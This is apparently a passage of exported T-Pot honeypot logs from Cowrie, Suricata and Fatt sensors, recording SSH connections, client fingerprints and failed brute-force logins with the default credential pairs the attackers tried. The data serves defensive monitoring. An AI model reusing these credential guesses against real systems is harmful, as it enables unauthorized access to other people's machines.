"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 51088, "dest_port": 22, "timestamp": "2021-09-20T11:12:04.600404", "@timestamp": "2021-09-20T11:12:04.600Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26452	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:05.196843+03	2021-09-20 14:15:13.287647+03	{"_id": "WAbnAnwBvYTbRNuE6iE9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [user/admin] failed", "session": "99d4097b1174", "@version": "1", "password": "admin", "username": "user", "timestamp": "2021-09-20T11:12:05.196843Z", "@timestamp": "2021-09-20T11:12:05.196Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26453	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:12:05.495774+03	2021-09-20 14:15:13.288646+03	{"_id": "WQbnAnwBvYTbRNuE6iE9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.failed", "message": "login attempt [pro/pro] failed", "session": "c80c335343b4", "@version": "1", "password": "pro", "username": "pro", "timestamp": "2021-09-20T11:12:05.495774Z", "@timestamp": "2021-09-20T11:12:05.495Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26454	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:04.601055+03	2021-09-20 14:15:13.289646+03	{"_id": "XwbnAnwBvYTbRNuE6iE-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "14bc30868b06", "@version": "1", "timestamp": "2021-09-20T11:12:04.601055Z", "@timestamp": "2021-09-20T11:12:04.601Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26456	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:12:06.003455+03	2021-09-20 14:15:13.293646+03	{"_id": "YQbnAnwBvYTbRNuE7CFb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 534922817525265, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 36250, "dest_port": 22, "timestamp": "2021-09-20T11:12:06.003455Z", "@timestamp": "2021-09-20T11:12:06.003Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26457	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:00.71378+03	2021-09-20 14:15:13.294646+03	{"_id": "LAbnAnwBvYTbRNuE2iGZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/support] failed", "session": "6fa92b1d7bed", "@version": "1", "password": "support", "username": "admin", "timestamp": "2021-09-20T11:12:00.713780Z", "@timestamp": "2021-09-20T11:12:00.713Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26458	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:12:01.764625+03	2021-09-20 14:15:13.296647+03	{"_id": "LQbnAnwBvYTbRNuE3CG4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 619001097035926, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47316, "dest_port": 22, "timestamp": "2021-09-20T11:12:01.764625Z", "@timestamp": "2021-09-20T11:12:01.764Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26459	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:01.551836+03	2021-09-20 14:15:13.298647+03	{"_id": "LwbnAnwBvYTbRNuE3SHf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47316, "timestamp": "2021-09-20T11:12:01.551836", "@timestamp": "2021-09-20T11:12:01.551Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26460	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:02.368515+03	2021-09-20 14:15:13.299646+03	{"_id": "MwbnAnwBvYTbRNuE3iGC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "6fa92b1d7bed", "@version": "1", "duration": 2.8416178226470947, "timestamp": "2021-09-20T11:12:02.368515Z", "@timestamp": "2021-09-20T11:12:02.368Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26548	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:12:33.042268+03	2021-09-20 14:15:13.416648+03	{"_id": "_QboAnwBvYTbRNuEVyGx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "7c122e826c61", "@version": "1", "duration": 3.32239031791687, "timestamp": "2021-09-20T11:12:33.042268Z", "@timestamp": "2021-09-20T11:12:33.042Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26461	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:12:03.871228+03	2021-09-20 14:15:13.300675+03	{"_id": "OQbnAnwBvYTbRNuE5CGJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1884502473553154, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 46700, "dest_port": 22, "timestamp": "2021-09-20T11:12:03.871228Z", "@timestamp": "2021-09-20T11:12:03.871Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26462	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:03.871394+03	2021-09-20 14:15:13.301674+03	{"_id": "OgbnAnwBvYTbRNuE5SGw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46700, "timestamp": "2021-09-20T11:12:03.871394", "@timestamp": "2021-09-20T11:12:03.871Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26463	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:03.589493+03	2021-09-20 14:15:13.303647+03	{"_id": "QgbnAnwBvYTbRNuE5iFX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:46700 (192.168.176.2:22) [session: 99d4097b1174]", "session": "99d4097b1174", "@version": "1", "protocol": "ssh", "src_port": 46700, "dest_port": 22, "timestamp": "2021-09-20T11:12:03.589493Z", "@timestamp": "2021-09-20T11:12:03.589Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26464	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:03.896856+03	2021-09-20 14:15:13.304674+03	{"_id": "TgbnAnwBvYTbRNuE5iFX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "99d4097b1174", "@version": "1", "timestamp": "2021-09-20T11:12:03.896856Z", "@timestamp": "2021-09-20T11:12:03.896Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26465	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:12:03.990006+03	2021-09-20 14:15:13.305678+03	{"_id": "TwbnAnwBvYTbRNuE5iFX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [help/1234] failed", "session": "e655c9289bd2", "@version": "1", "password": "1234", "username": "help", "timestamp": "2021-09-20T11:12:03.990006Z", "@timestamp": "2021-09-20T11:12:03.990Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26466	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:04.413202+03	2021-09-20 14:15:13.306675+03	{"_id": "UAbnAnwBvYTbRNuE5iFX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "14bc30868b06", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:04.413202Z", "@timestamp": "2021-09-20T11:12:04.413Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
